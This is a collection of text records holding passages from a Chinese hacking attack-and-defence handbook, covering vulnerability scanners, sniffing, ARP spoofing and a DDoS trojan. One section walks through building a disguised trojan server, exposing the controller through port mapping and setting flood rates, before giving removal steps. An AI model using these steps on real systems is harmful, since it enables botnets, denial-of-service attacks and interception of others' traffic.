    {"text": "其中“Complete Scan”扫描所有标准端口和漏洞，不进行拒绝服务探测； “Full Scan”扫描 1～65 535 之间的所有端口和所有漏洞，不进行拒绝服务扫描； “Quick Scan”扫描响应的标准端口和漏洞，不进行拒绝服务扫描；"},
    {"text": "值得一提的是，SSS 可以设置进行“SANS/FBI Top 20 Scan”扫描，这 20 个是漏洞系统管理和网络安全审计委员会（SysAdmin audit Network Security）和 FBI（Federal Bureau of Investigation，美国联邦调查局）联合发布的当前网络中最危险的安全漏洞，既有 UNIX方面的漏洞，也有 Windows下的漏洞。"},
    {"text": "图4-26 “New session wizard”对话框 图4-27 “Rules”设置对话框 在该对话框中可以对每项规则进行详细的设置，这些设置与“Options”中的设置全然不同，全部是具体扫描策略的设置，需要较多的专业知识，且可设置的选项众多，如“Audits”项下的“CGI Scripts”项，就有4 468项可供选择。"},
    {"text": "● 步骤3 扫描目标设置。 下一步为扫描目标设置，如图4-28所示。 单击图 4-28 所示界面中“Add host”按钮，弹出如图 4-29 所示的对话框，添加扫描目标。 图4-28 扫描目标设置界面 图4-29 添加扫描目标界面 由图4-29可以看出，扫描目标的添加有4种方式，主机名或IP、主机IP范围、由文件导入的IP、主机工作组，我们可根据实际需要任选其一。 我们选择“Host”单选按钮，添加127.0.0.1（本机IP地址）为扫描目标，单击“Add”按钮返回图4-28所示的对话框，不同的是此时对话框“Host”项中多了“127.0.0.1”目标主机，如图4-30所示。"},
    {"text": "扫描状态在右下角的状态栏中进行显示，如图4-32所示。 图4-32 扫描状态界面 扫描结果在主界面上显示的非常详细，而在退出时，提示是否对扫描结果进行保存，一般选择保存，并保存为“ses”格式的文件，需要时用SSS打开即可。"},
    {"text": "黑客攻防实战技术完全手册：扫描、嗅探、入侵与防御 (信息安全大系) 第11章 黑客常用工具揭秘及防范（三） 本章介绍的大部分工具是黑客对大规模的目标进行渗透，以及发动进攻时必不可少的工具，如果读者能熟练掌握这些工具的使用方法，在防范渗透和入侵中就会起到事半功倍的效果。本书的后半部分主要剖析了攻击工具以及扫描工具，其中“啊D网络工具包”以及本章即将介绍的一些扫描工具是很多新手非常喜欢使用的工具，所以也是重点防范的目标。"},
    {"text": "黑客攻防实战技术完全手册：扫描、嗅探、入侵与防御 (信息安全大系) 9.1 “上兴网络僵尸”木马的剖析及防范 9.1.1 “上兴网络僵尸”木马简介 在剖析攻击工具之前，先简单介绍一些关于木马的基础知识。"},
    {"text": "日常所说的病毒，其实包括两个分支，其中一类就是纯粹意义上的的病毒，病毒的作者出于炫耀技术或者测试的目的开发出病毒程序，病毒程序一般都会修改注册表、驻留内存、在系统中安装后门程序、开机加载附带的程序等，并且会通过通信工具进行传播，如通过 E-mail 进行传播，这类病毒的主要目的是破坏计算机系统；"},
    {"text": "木马在计算机上运行之后会在后台偷偷记录用户的各种行为，并且发送到指定的网络地址，例如，窃取了游戏账号之后发送至黑客指定的E-mail信箱。"},
    {"text": "目前又出现了一类新病毒程序，这类病毒程序集破坏功能及窃取功能于一身，如“熊猫烧香”病毒程序等。 目前木马的攻击大多都是基于C/S模式的，即客户端/服务端模式。"},
    {"text": "木马、病毒普遍具有一定隐蔽性。 所谓隐蔽性是指木马的设计者为了防止木马被发现，将采用多种手段隐藏木马程序，这样即使受控方发现感染了木马服务端程序，由于不能确定其在计算机中的具体位置，往往不能很好地进行查杀。 从功能上划分，木马又可以分为多种类型，如普通控制型木马、DDOS型木马等。"},
    {"text": "通俗地讲，只要是妨碍合法用户使用网络的行为我们都可以称之为“拒绝服务攻击”，即“DOS”攻击（注意：这里的“DOS”和Windows中的命令提示符模式的“DOS”不是同一个概念）。 可以看出，“拒绝服务攻击”的主要目的就是妨碍合法用户使用网络资源。"},
    {"text": "我们都知道“团结才能力量大”，在网络中也是如此，单靠一个人的力量是很难完成“拒绝攻击服务”这项工作的，黑客通常会使用成千上万的傀儡机器（即已经中了黑客木马的计算机）对指定目标发送大量的数据包，从而造成网络阻塞或服务器资源耗尽而导致拒绝服务。"},
    {"text": "DDOS 攻击一旦被实施，攻击网络包就会犹如洪水猛兽般涌向受害主机，从而把合法用户的网络包淹没，导致合法用户无法正常访问服务器的网络资源。 常见的DDOS攻击手段有SYN Flood、ACK Flood、UDP Flood、ICMP Flood、TCP Flood、ConNECtions Flood、Script Flood、Proxy Flood等，这些攻击方式在下面的工具中都是会遇到的。 不像系统漏洞，只要打上补丁就可以避免通过漏洞的攻击，DDOS的攻击是不容易进行防范的。"},
    {"text": "“肉鸡”通常是指中了黑客木马的用户计算机，黑客通过木马可以随意控制被黑客中了木马的计算机，黑客就像控制其自己的计算机一样控制“肉鸡”。 “肉鸡”被黑客用来做跳板，即黑客在入侵的时候通过木马用“肉鸡”的计算机做了代理，当黑客的入侵目标发现后，查出的IP地址是“肉鸡”的IP地址，而黑客却可以逍遥法外。 当然，大量的“肉鸡”会被黑客用来做DDOS攻击，除此之外，黑客还会将“肉鸡”以低廉的价格出售。"},
    {"text": "9.1.2 “上兴网络僵尸”木马的剖析 “上兴网络僵尸”在黑客的 DDOS 攻击中功能很强，本小节将简单剖析一下黑客使用该工具的步骤，循着黑客攻击“踪迹”以便更好地找到防范的方法。"},
    {"text": "通过前面的介绍可以了解到，基于 C/S模式的木马都会有一个“客户端”程序和一个“服务端”程序，图 9-2 中所示的界面是客户端程序，服务端（即木马文件）是需要黑客自己定制的，在图 9-2 所示的界面中单击“配置服务端”按钮，打开“服务端配置”对话框，如图9-3所示。"},
    {"text": "也可以选择伪装系统文件，这些都能起到欺骗对方操作系统上防火墙的作用，这里我们随便选择一项即可； “安装名称”框中可任意填写（大多和系统进程名相似），上线密码以及剩下的内容都可根据个人的习惯填写，最后确认无误之后单击“生成服务端”按钮生成服务端，如图9-4和图9-5所示。"},
    {"text": "木马服务端程序按照上述步骤即可制作完毕，下面要做的就是使对方运行此配置好的木马服务端，采用什么方法使之运行，不在本章讨论范围之内。"},
    {"text": "1.处于外网的情况 可以直接填写自己的外网IP地址； 但是有些家庭用户使用ADSL上网，每次拨号之后，IP地址都会变动，这就需要把变动的IP地址信息放在网络上，当我们每次拨号之后，再去手动更新我们的IP地址信息就可以了。"},
    {"text": "在“FTP服务器”处填写自己的FTP服务器的IP或者域名，用户名和密码按照自己的实际情况进行填写，“IP文件内容”软件会自动填写我们的外网IP，最后单击“更新IP到FTP空间”按钮，程序会自动把IP.txt传入指定的FTP空间，如图9-7所示。"},
    {"text": "2.处于内网的情况 由于处于内网的用户是多台计算机共同使用一个在Internet真实的IP地址进行上网，当与客户端连接的时候，连接的实际上是外网IP，而局域网内实际有多台机器，这时就需要在路由器上进行端口映射操作。"},
    {"text": "在IE中输入路由器的IP地址，打开路由器网页，如图9-8所示。 图9-8 登录路由器 ● 步骤2。 我这里使用 TP-Link 的路由器为例（其他品牌的路由器设置方法类似），输入账号和密码，进入设置界面如图9-9所示。 图9-9 路由器设置界面 ● 步骤3。"},
    {"text": "按照提示写入相应的端口号，“上兴网络僵尸”上线的端口默认是2007，所以端口号需要写入“2007”，以及本机的IP号，启用并保存，如图9-10所示。"},
    {"text": "● 频率：就是发包速度，数值越大发包就越快，如果主机掉线就放慢点。 ● 10 个线程，频率为10 就相当于1s 发出100 个数据包； 100 个线程，频率为100 就相当于1s 发送出10 000个数据包。"},
    {"text": "图9-12 自定义数据攻击界面 “上兴网络僵尸”还包含有专门针对Web攻击的功能，切换到“Web攻击类型”选项卡，如图9-13所示。 图9-13 “Web 攻击类型”界面 9.1.3 “上兴网络僵尸”木马的防范 上面介绍了有关“上兴网络僵尸”的一般使用方法，但是当被他人恶意安装了此木马的时候如何清理此木马也逐渐成为各杀毒厂商和安全软件提供商所共同探讨的问题。 下面为读者介绍“上兴网络僵尸”的防范方法。"},
    {"text": "使用上面介绍的方法配置一个“上兴网络僵尸”木马，如图9-14所示，并运行之。 图9-14 上兴木马服务端 ● 防范演示步骤2。 此时通过观察发现，当“上兴网络僵尸”木马运行后，它首先会删除自身，并复制到系统目录下的Windows文件夹中进行驻留。"},
    {"text": "打开注册表定位到“HKEY_LOCAL_MACHINE\\SOFTWARE\\Microsoft\\WindowsNT\\CurrentVersion\\Winlogon”，找到名为“Shell”的字符串类型的键值，如图9-15所示，其内容为：“Explorer.exeC:\\WINDOWS\\上兴网络僵尸测试.exe”，可以看出此木马是利用修改注册表实现和“Explorer.exe”程序同时启动的。 通过分析可以看出此木马的藏身之处，即：“C:\\WINDOWS\\上兴网络僵尸测试.exe”，如果在此木马运行时直接去删除是不现实的。"},
    {"text": "单击“进程”按钮，查找到木马所在路径的进程，如图9-17所示，然后在此条目上单击鼠标右键，在弹出的菜单中选择“结束进程”，如图9-18所示。 图9-16 “冰刃”工具 图9-17 找到进程 图9-18 结束木马进程 ● 防范演示步骤5。 在注册表编辑器中找到前面所发现的启动项的位置，把“Shell”项中的木马启动路径进行删除（切记，不可把“Shell”中的“Explorer.exe”删除掉），如图9-19所示，这样木马在重新启动计算机之后将无法被激活。"},
    {"text": "图9-21 打开“查看选项卡” 图9-22 确认操作 此时返回到前面所述的木马所在文件夹，并在此文件夹下单击鼠标右键，在弹出的菜单中选择“刷新”项，此时木马程序已经现形了。"},
    {"text": "图9-23 命令提示符模式 使用系统自带的“Attrib.exe”程序去除木马的隐藏属性，在提示符下输入命令：“Attrib.exe C:\\WINDOWS\\上兴网络僵尸测试 –s –h -r”，并按“回车键”确认，如图9-24 所示。 图9-24 执行命令 此时木马程序的隐藏属性已经去除了，即它已经“现行”了，如图9-25所示。 图9-25 木马现行 接下来的操作就是直接将其删除即可，如图9-26所示。 图9-26 删除木马程序 ● 防范演示步骤7。 由于木马程序运行的时候自动关闭了Windows自带的防火墙服务，最后将其恢复即可。 打开“控制面板”，双击“Windows防火墙”，弹出对话框提示相应的服务已经关闭，单击“是（Y）”按钮重新开启此项服务，如图9-27和图9-28所示。 图9-27 开启服务 图9-28 打开防火墙 在图9-28所示的界面中单击“确定”按钮即可开启防火墙功能，最后重新启动计算机。"},
    {"text": "至此，“上兴网络僵尸木马”已经清除完毕，对于木马程序，只有懂得了使用原理以及防范方法，才可以使自己的计算机在中毒之后不至于显得“手忙脚乱”。"},
    {"text": "黑客攻防实战技术完全手册：扫描、嗅探、入侵与防御 (信息安全大系) 1.3 安全漏洞的检测和修补 有人针对当前信息安全可能出现的问题给出了一个信息安全公式：信息安全 = 先进技术+防患意识+完美流程 + 严格的制度 + 优秀的执行团队 + 法律保障。 由此可见，技术在信息安全中只占其中一部分，更多的问题来源于人的因素，防患意识是其中的重要环节，而防患意识落实到现实中就是进行漏洞的检测和修补。 1.3.1 安全漏洞的检测 对于一个结构复杂的网络来说，进行维护和检测是一件相当烦琐的事情，对于位于Internet中的计算机，多数被攻击的背后凶手是掌握在黑客手中的已公布或未公布的漏洞。 漏洞的成因既有设置上的漏洞，也有用户使用中的缺陷，手动进行检测几乎是不可能完成的工作，多数借助于漏洞检测工具。 一般来说，漏洞检测是模拟黑客的行为，对系统设置进行攻击测试，以帮助管理人员在黑客攻击系统之前，找出网络中存在的漏洞。"},
    {"text": "目前，市场中漏洞检测根据不同的技术、不同的监听模式、不同的特征、不同的报告方法，可以分为多种类型，但总的来说，漏洞检测扫描器多数采用基于特征的匹配技术，与基于误用检测技术的入侵检测系统相类似。 扫描器首先通过请求/应答，或通过执行攻击脚本，来搜集目标主机上的信息，然后在获取的信息中寻找漏洞特征库定义的安全漏洞，如果有，则认为安全漏洞存在。"},
    {"text": "因此，漏洞扫描器所搜集的漏洞中绝大多数为已经公布的漏洞，只有很少部分为漏洞扫描器公司所发现的漏洞。 每台漏洞扫描器所搜集的漏洞数量多少不一，漏洞库的数量决定了扫描器的检测范围，因此衡量漏洞扫描器的重要标准是能否最大限度地包含所有相关漏洞。 黑客与网络管理人员的较量在很大程度上是在比较谁的漏洞扫描器包含的内容更多。 对于商业化的漏洞扫描工具，一般价格较为昂贵，并且这样的扫描工具并不是对所有的IP地址都可以扫描。"},
    {"text": "虽然这样的扫描器更新不太及时，但黑客手中常常掌握私下流传的各种0day漏洞，正是这些0day的广泛流传，使得黑客获取了可持续攻击的动力。"},
    {"text": "1.3.2 安全漏洞的修补 对于一个互联网中的节点，无论采取何种安全措施，第一步都应该是修补漏洞，如果不能及时修补漏洞，毫无疑问，您将受到黑客的入侵。"},
    {"text": "MBSA是Microsoft Baseline Security Analyzer（Microsoft准安全分析器）的缩写，可以在http://www.microsoft.com/technet/security/tools/mbsahome.mspx下载，目前最新版本是2.1beta版。"},
    {"text": "HfNetChk的工作过程是：首先检查补丁对应的注册表键值在计算机中是否存在； 如果存在，HfNetChk进一步检查该补丁的相关文件是否存在； 如果存在，HfNetChk开始对比每个文件的版本号和校验和数值是否与 XML 数据库中的对应内容相一致；"},
    {"text": "HfNetChk工作时需要一个XML数据库文件，这个文件中包含了不同产品对应的hotfixes信息，它们是Security bulletin 的名字、标题以及有关产品安全hotfixes的详细资料。"},
    {"text": "这些详细资料包括如下内容：每个 hotfix 程序包中的文件名及其版本号和文件的校验和数值（checksums）、hotfix程序包安装时创建的注册表项目、补丁程序间的接替信息、Microsoft知识库（Microsoft Knowledge Base）中相关文章的序号等。"},
    {"text": "依据XML数据库文件的内容，就规定了HfNetChk判断一个补丁是否已经安装到计算机的标准，它们是：补丁安装后所建立的注册表键值、安装的补丁文件版本号和每个文件的校验和数值。 默认配置下，HfNetChk将XML数据库中的文件资料和注册表键值与检测计算机中的文件和注册表键值进行对比，如果其中之一发生了不匹配现象，就会认为相应的补丁程序没有被安装，“Patch NOT Found”以及Microsoft 知识库中相关文章的序号等信息将向用户显示。"},
    {"text": "如果没有提供自动更新功能，在安装之后要安装所有补丁是非常麻烦的，甚至，有的漏洞并不一定存在相应的补丁，如UNIX操作系统，会在BugTraq邮件列表上（参见http://www.securityfocus.com）发布安全补丁的通知信息。"},
    {"text": "黑客攻防实战技术完全手册：扫描、嗅探、入侵与防御 (信息安全大系) 5.11 小结 本章介绍了11种常用的专项功能扫描器，这些扫描器有的用来攻击，有的可用来防守。在用户安全意识不断提高的时代，关注细节成为防范攻击的法宝，而利用这些专项功能扫描器，可以发现那些存在漏洞的主机，达到防御事半功倍的效果。 黑客攻防实战技术完全手册：扫描、嗅探、入侵与防御 (信息安全大系) 第3章 常用端口扫描器 端口扫描器是黑客常用的扫描工具，黑客根据端口扫描返回的信息，判断目标主机所开放的服务，再根据这些服务制定下一步攻击策略。本章介绍的端口扫描器既有在业界享有盛名的Nmap扫描器，也有初出茅庐的程序员所编写的扫描工具；既有在安全界具有领导地位的安全公司编写的扫描器，也有国内黑客所编写的工具，希望通过对这些工具的介绍，读者能够从攻击和防御两个方面对端口扫描器有所了解。"},
    {"text": "黑客攻防实战技术完全手册：扫描、嗅探、入侵与防御 (信息安全大系) 6.2 影音神探嗅探器 6.2.1 “影音神探”基本配置 在介绍“影音神探”的配置之前，首先介绍其作用。"},
    {"text": "平常我们在上网冲浪的时候一定会遇到许许多多好看的图片以及优美的 Flash 动画或者是动听的歌曲，如果将它们保存在硬盘上，可留着以后慢慢欣赏。"},
    {"text": "由于网站管理员可能会采取对源代码进行加密的方式，使得我们费尽心思也找不到 Flash 或者是歌曲的真实地址，导致无法下载，而这个安装在本机的嗅探程序，可以很轻松地解决这一问题。 使用“影音神探”，只要进入播放网页，就能获得影片或者歌曲等的真实地址，双击寻找到的URL，软件会自动打开下载软件并开始下载。"},
    {"text": "双击运行安装程序，如图6-26所示，安装界面如图6-27所示。 图6-26 安装程序界面 图6-27 安装过程（1） ● 步骤2。 在图6-27所示的界面中单击“下一步”按钮继续安装，如图6-28所示。 单击“浏览”按钮选择安装路径，如图6-29所示，然后单击“确定”按钮继续安装。"},
    {"text": "在图6-28所示的界面中单击“下一步”按钮继续安装，跳至如图6-30所示的安装界面，继续单击“下一步”按钮准备安装，如图6-31所示。"},
    {"text": "在图6-31所示的界面中单击“安装”按钮开始安装，如图6-32所示，安装完成如图6-33所示，单击“完成”按钮退出安装。 图6-32 正在安装界面 图6-33 安装完成界面 ● 步骤5。"},
    {"text": "如果程序首次运行，它会自动提示安装WinPcap4.0，如图6-34所示。 单击“确定”按钮即可开始WinPcap的第一步安装，如图6-35所示。 图6-34 “提示信息”对话框 图6-35 WinPcap 的安装过程（1） 注意：为什么要安装WinPcap？"},
    {"text": "在图6-41所示的界面中单击“测试所有网络适配器”按钮开始测试，稍等片刻，软件会自动提示测试成功，并单击“确定”按钮确认，如图6-42所示。 图6-41 测试网络适配器对话框 图6-42 确认网络适配器界面 ● 步骤4。"},
    {"text": "在图6-40所示的界面中单击“开始嗅探”按钮，或者按“Alt+C”组合键，打开“嗅探”选项，其中具有两种工作模式：获取URL和列举数据包，下面分别介绍。"},
    {"text": "事实上，如果只是简单地想嗅探网页上隐藏的图片或者是音乐资源的话，该“数据包过滤设置”对话框中的设置可以不进行更改，使用默认值即可。"},
    {"text": "完成上面的设置后，在主界面中单击“嗅探”按钮开始嗅探，当浏览网页包含我们所希望捕捉的资源时，在主界面的下方就会列举出来，如图6-46（图中加框）所示。"},
    {"text": "图6-46 嗅探成功 图6-47 使用下载工具下载 通过上述几步骤，隐藏在网页中的资源就这样被“嗅”出来了，其实这还不是真正意义上的嗅探，“嗅探技术”博大精深，是一个值得探讨和研究的永恒话题，下一节将介绍重量级的工具——Iris嗅探器。"},
    {"text": "黑客攻防实战技术完全手册：扫描、嗅探、入侵与防御 (信息安全大系) 1.2 网络安全漏洞 无论是何种类型的网络威胁，都或多或少与网络安全漏洞有关。通俗来讲，漏洞是指受限制的计算机、组件、应用程序或其他联机资源无意中留下的不受保护的入口点。有人曾对漏洞给出了一个更为通俗的定义：能够被利用来干“原本以为”不能干的事，并且是和安全相关的缺陷。 漏洞的一般定义为：在硬件、软件、协议的具体实现或系统安全策略上存在的缺陷，从而可以使攻击者能够在未授权的情况下访问或破坏系统。 从漏洞的定义可以看出，漏洞既有软件上的漏洞，也有硬件上的漏洞。由于黑客很难利用硬件漏洞，只有最顶尖级的少数黑客才有能力较好地利用硬件漏洞，因此，常说的漏洞一般均指软件漏洞。因人为原因，漏洞在程序编写过程中几乎是不可避免的，据对几百万行C语言编写的软件源代码进行统计，每1 000 行代码中将存在5～10 个漏洞可以被利用。 漏洞的利用与时间、运行环境和用户存在不可分割的联系，因此，网络安全漏洞也有多种分类方式。 1.2.1 根据漏洞发现时间分类 根据漏洞的发现时间可以将漏洞分为已公布漏洞和0day。 已公布漏洞指厂商已经发布补丁或临时修补方法的漏洞。如果网络管理员足够尽职尽责，经常关注漏洞及补丁的发布情况，并针对自己维护的网络进行防护，使得已公布漏洞较难发挥其作用。但对于多数网络，管理员没有足够精力或者没有意识到进行补丁的安装，这就为黑客提供了可乘之机。 0day指未公开和虽已公开但厂商还未来得及发布修补方法的漏洞。这种漏洞一般在私下交易，虽然流传不广，但应用具有更强的针对性，危害更大。 1.2.2 根据漏洞成因分类 虽然根据漏洞的成因分类存在不够完善的地方，如研究的角度不同，同一漏洞可能存在不同的成因，但这一分类方式得到了多数网络安全人员的认可，大致可以分为以下10种类型。 字符输入检查、边界条件检查、特殊环境和条件检查、设计方案漏洞、大量打开端口、软件运行权限设置不当、配置错误、竞争条件错误、软件的默认安装、远程管理软件权限限制不够。 1.2.3 根据漏洞严重程度分类 微软公司将漏洞按严重程度粗略的定义为3种，分别为：严重等级、中等等级和低等级，如下表所示。 微软对漏洞的分类表 1.2.4 按漏洞造成的威胁分类 国内著名的安全公司绿盟科技公司对漏洞分为如下6种类型： 远程进入系统、本地越权访问、拒绝服务攻击、嵌入恶意代码、Web 数据接口、其他类型。 黑客攻防实战技术完全手册：扫描、嗅探、入侵与防御 (信息安全大系) 3.6 超速端口扫描器——本机端口进行扫描 常言道“知己知彼，百战不殆”。黑客在攻击之余，有时也会担心自己的主机是否被他人控制，是否被反跟踪，想知道自己主机开放了那些端口，是否在与别的主机进行非法的连接，自己的主机是否安全。 对本机端口进行扫描，主要目的是观察本机开放了那些服务，应该禁用的服务是否已经禁止，是否被入侵。对本机端口进行扫描，原理比较简单，互联网中这类软件流传较多，一网名为“小强”的网友所写超速本机端口扫描器可以较好地完成这项任务。目前，网络中流传的本机端口扫描器版本为1.1版，运行该程序，弹出如图3-27所示的对话框。 图3-27 本机端口扫描器界面 这款本机端口扫描器使用非常简单，在图3-27所示界面中，直接单击“开始”按钮，即可开始对本机端口的扫描。笔者对自己主机进行了扫描，结果如图3-28所示。 图3-28 扫描结果 如图3-28所示，可以清晰地看出本机开放了哪些TCP和UDP端口。如果主机被入侵，一般会有与入侵者相连接的端口出现，这时就可以对这些不明端口进行分析。 在图3-28所示界面中，笔者主机开放大量TCP、UDP端口，这是因为大部分端口为主机在访问网络时随机使用的端口。 用命令行也可以方便地实现对本机端口进行扫描。在命令提示符下，运行“netstat -an”命令不仅可以看到本机开放了哪些端口，而且可以看到这些端口与地址相连接，连接状态也被清楚地显示出来，如图3-29所示。 图3-29 netstat -an命令结果 如果想知道是哪些程序打开了这些端口，也可以用命令行实现，运行“netstat –vb”命令即可，如图3-30所示。 图3-30 运行netstat -vb 命令结果 查看本机端口，除借助专用本机端口扫描器外，本机对外连接查看工具都可以方便地显示本机所开放的端口，如安全卫士360安全软件就具有这项功能。"},
    {"text": "黑客攻防实战技术完全手册：扫描、嗅探、入侵与防御 (信息安全大系) 6.1 嗅探技术和工具介绍 6.1.1 扫描与嗅探 扫描技术与嗅探技术是在黑客的攻击中会经常用到的两种技术。"},
    {"text": "扫描者可以分成两种类型，一种是出于对安全的考虑，比如系统管理员和网络管理员，他们扫描的目的纯粹是为了找出系统中的缺陷或漏洞，进而想办法进行弥补；"},
    {"text": "一款强大的扫描器通常集多种功能于一身，一般可以采用多线程方式对指定的IP地址段（或单机）进行安全漏洞检测。 扫描内容一般包括：远程服务类型、操作系统类型及版本，各种弱口令漏洞、后门、应用服务漏洞、网络设备漏洞、拒绝服务漏洞等。"},
    {"text": "● 发现Internet上存活的一个网络或者一台主机（即当前已经连接到Internet的计算机）。 ● 一旦发现一台存活的主机，通过扫描，一般可以发现其上所运行的服务类型。"},
    {"text": "嗅探和扫描有所不同，黑客通常在成功攻击一台服务器或内部网络中的一台机器后，为了扩大其战果，才使用嗅探技术。 通常黑客都会嗅探Ftp、Telnet账户密码，甚至是3389终端账户密码，而这些基于嗅探的进攻都是不容易被觉察的。"},
    {"text": "目前大型的企业以及网吧，大部分用的都是 hub（集线器）或者 Switch（交换机）组建的，我们分别对这两种环境进行介绍。 1.Hub环境 Hub（集线器）网络是基于共享原理的，当一台机器向另一台机器发送数据，共享Hub会先收到此信息然后把它接收到的数据再发给其他的（来的那个端口不发了）每一个端口。"},
    {"text": "也就是说，局域网内除了发送数据的那台计算机以外的所有计算机的网卡都接收相同的数据包，计算机的网卡先接收此数据包的目的 MAC 地址，根据网卡的驱动程序的接收模式判断数据包是不是发给自己的，如果是就接收，如果不是则丢弃，即被网卡截断了，从而计算机也就收不到这个不属于自己的数据包，这是“老实人”的行为。 但是，黑客通常不是我们所说的“老实人”，他们会先将网卡设置为“混杂模式”，这样网卡接收到的数据包不管是不是自己的都会接收，然后再进行分析，这样就构成了嗅探环境，并开始嗅探。"},
    {"text": "交换机和集线器不同，上面我们讲到集线器是把数据包发给一个域内的所有机器的端口上，然后通过网卡进行识别； 而交换机没有把数据包发送到所有的端口上，而是直接发送到目地网卡所在的端口，这样看来，交换所组建的网络是比较安全的，而对于黑客来说这样嗅探起来会麻烦一些；"},
    {"text": "但是聪明的黑客利用带有“ARP欺骗”的嗅探程序，通过改变MAC地址等手段，欺骗交换机将数据包发给自己，分析完毕再转发出去，这也同样实现了上面所说的“不是老实人”的做法。"},
    {"text": "在以太网中，所有的通信都是通过广播的形式进行的，也就是说通常在同一个网段的所有网络接口都可以访问在域中（物理媒体上）传输的所有数据，而每一个网络接口都有一个唯一的硬件地址，这个硬件地址也就是网卡的MAC地址（大多数系统使用48比特的地址），这个地址用来表示网络中的每一台设备。 一般来说，每一块网卡上的MAC地址都是不同的，每个网卡生产厂商在获得一段地址后，再将这段地址分配给其生产的每个网卡一个地址。"},
    {"text": "ARP工作时，首先请求主机发送出一个含有所希望到达的IP地址的以太网广播数据包，然后目标IP的所有者会以一个含有IP和MAC地址对的数据包应答请求主机。"},
    {"text": "对于网卡来说一般有4种接收模式。 ● 广播模式：该模式下的网卡能够接收网络中的广播信息。 ● 组播模式：设置在该模式下的网卡能够接收组播数据。 ● 直接模式：在这种模式下，只有目的网卡才能接收该数据。 ● 混杂模式：在这种模式下的网卡能够接收一切通过它的数据，而不管该数据是否是传给它的。"},
    {"text": "其次，网卡可以置于一种混杂模式（Promiscuous），在这种模式下工作的网卡能够接收到一切通过它的数据，而不管实际上数据的目的地址是不是它。"},
    {"text": "6.1.3 交换网络的嗅探 通过上面对 ARP 协议的简介，我们知道交换网络相对集线器网络具有一定的特殊性， ARP 协议告诉我们，如果一台计算机想要与网络连接，它必须要有一个网卡地址（即 MAC地址）和一个IP地址，而MAC地址是网卡在出厂时就规定好的，无法修改，MAC地址通过ARP协议将IP地址解析，然后进行数据通信。 在以太网环境中，数据会分帧传送，每一个数据帧都会包含自己的MAC和目的MAC地址信息，目的MAC地址信息就如同路标，通过目的MAC地址信息就可以找到目的主机； IP地址和MAC地址不同，定义在网络层，每一台网络计算机都会有一个或者多个IP地址，这是一个虚拟的数据，可以人为修改，比如在局域网中常见的192.168.0.1～192.168.0.255等IP地址形式都是由网管员设定的内部IP地址。"},
    {"text": "举个简单的例子帮助大家理解，比如笔者的计算机IP地址是192.168.0.100，需要知道IP地址为192.168.0.200机器的MAC地址，这时笔者的计算机就会发送一个广播ARP包，该包中带有目的机器的IP地址，如果目的机器收到了此ARP包，那么它就会同样返回一个ARP包，里面带有响应的MAC地址。 当笔者的计算机收到这个ARP包之后，也就得到目的计算机的MAC地址，而此时以太网就可以开始封装TCP/IP包了，并开始正常的数据传送。 在未和目的计算机通信之前，本机是没有该IP对应MAC地址的，一旦通信后，我们就知道了对方的MAC地址，Windows操作系统就会将对方MAC地址存在自己的ARP缓存表中。 知识拓展：什么是缓存表? 为了节省网络资源以及通信时间，多数操作系统都会保留一张 ARP 缓存表，里面记录曾经访问的 IP 和MAC 地址映射记录，在下次需要的时候可以直接使用。 一旦局域网中有一个新的 ARP 广播，对应一个IP到MAC的记录，这个ARP缓存表就会被刷新，MAC地址会更换成新的广播包中定义的MAC地址。 此时存在一个问题，在更新的时候，系统并没有去检查新的ARP广播是否是由该机器广播的，局域网中的恶意用户就会利用欺骗的方式来更改网络途径，将真正的MAC地址替换成自己的MAC地`址，这种方法称之为 ARP 欺骗，也就是我们常说的 ARP spoofing。"},
    {"text": "当交换机在处理数据的时候，它会根据自己机器内部的一个 MAC 到端口的数据表来查询符合要求的 MAC 地址数据包该发往哪个端口，而不会像集线器会在整个局域网中广播。 这张表从交换机开机的时候就存在，在每个端口第一次数据传送的时候就会记录对应的端口的 MAC 地址。 通过发送伪造的 MAC 地址数据包到交换机，就可以欺骗交换机刷新自己的MAC地址到端口的数据表。 假设A主机连接在2号端口，而黑客在4号端口，想要嗅探A主机的数据，那么黑客就需要伪造一个 ARP 数据包，告诉交换机 A 主机 MAC 地址是在 4号端口，交换机就会将本来发送到A主机的数据转送到4号端口上，这时候黑客就可以监听到A主机的数据了，这就是基于交换网络的arp欺骗sniffer的过程。"},
    {"text": "就是上面所讲到的，黑客伪装成合法计算机的 MAC 地址对交换机进行欺骗，使交换机将发送到合法计算机上的数据发送到黑客那里，当A主机收不到属于自己的数据包时，A主机会重新发布ARP包，告诉交换机自己才是真正的A主机，这样，交换机就会把数据重新发给A主机。"},
    {"text": "攻击者可以在两台通信主机之间插入一个中转回路，比如主机A正在和主机C进行合法通信，假设黑客的机器是B，想监听A与C的通信数据，他可以先向A发送一个ARP数据包，让A认为C的IP对应的MAC地址是黑客计算机B的，然后再向主机C发送一个ARP数据包，告诉主机A的IP所对应的MAC地址也是黑客的计算机 B 的，使用这种方法，“中间人”就被黑客塑造出来了。 和第一种方法进行比较，主机A和主机C之间的通信由于黑客在中间起到了一个“转发”作用，所以它们的通信不会中断，而黑客可以任意在A与C的通信数据中捕获甚至修改其感兴趣的数据。"},
    {"text": "6.1.4 反嗅探技术 理论上，嗅探程序是不可能被检测出来的，比如上面介绍的ARP欺骗方法的第二种，因为嗅探程序是一种被动的接收程序，属于被动触发的，它只会收集数据包，而不发送出任何数据。"},
    {"text": "1.反应时间检测 向怀疑有嗅探器存在的网络发送大量的无用数据包，然后根据各台主机的回应情况进行判断：正常主机的回应时间没有很大的变化，而正在嗅探的计算机会接收不属于自己的数据包并进行分析，所以处于混杂模式的正在嗅探的计算机会存在时间变化。"},
    {"text": "假设 IP 地址为 192.168.0.100 的计算机上安装有 ARP 欺骗工具和嗅探器，使用 ping 192.168.0.100，然后使用arp –a 命令，得到它的MAC 地址为“00-00-0e-40-b4-a1”。"},
    {"text": "由于安装有监听程序的计算机处于“混杂模式”，会接收所有广播出来的数据包，这使得监听程序在进行分析和处理大量的数据包时将占用很多 CPU 资源，并导致对方计算机性能下降，我们只要比较发送报文前后该机器性能就能加以判断。"},
    {"text": "但这样造成的问题是，如果整个网络中的所有计算机都建立一个静态的ARP缓存表，在大型网络中将会大大增加交换机的负担，造成交换机效率下降； 如果有计算机需要更换缓存表，那么就要手工更改局域网中每台计算机的ARP缓存表，很明显，在大型网络中这种方式是不适用的。 这里需要注意的是，在Windows环境中即使建立了静态的ARP缓存表，当计算机收到强制更新的ARP数据包后，依然会刷新计算机的ARP缓存表，同样有被嗅探的危险。"},
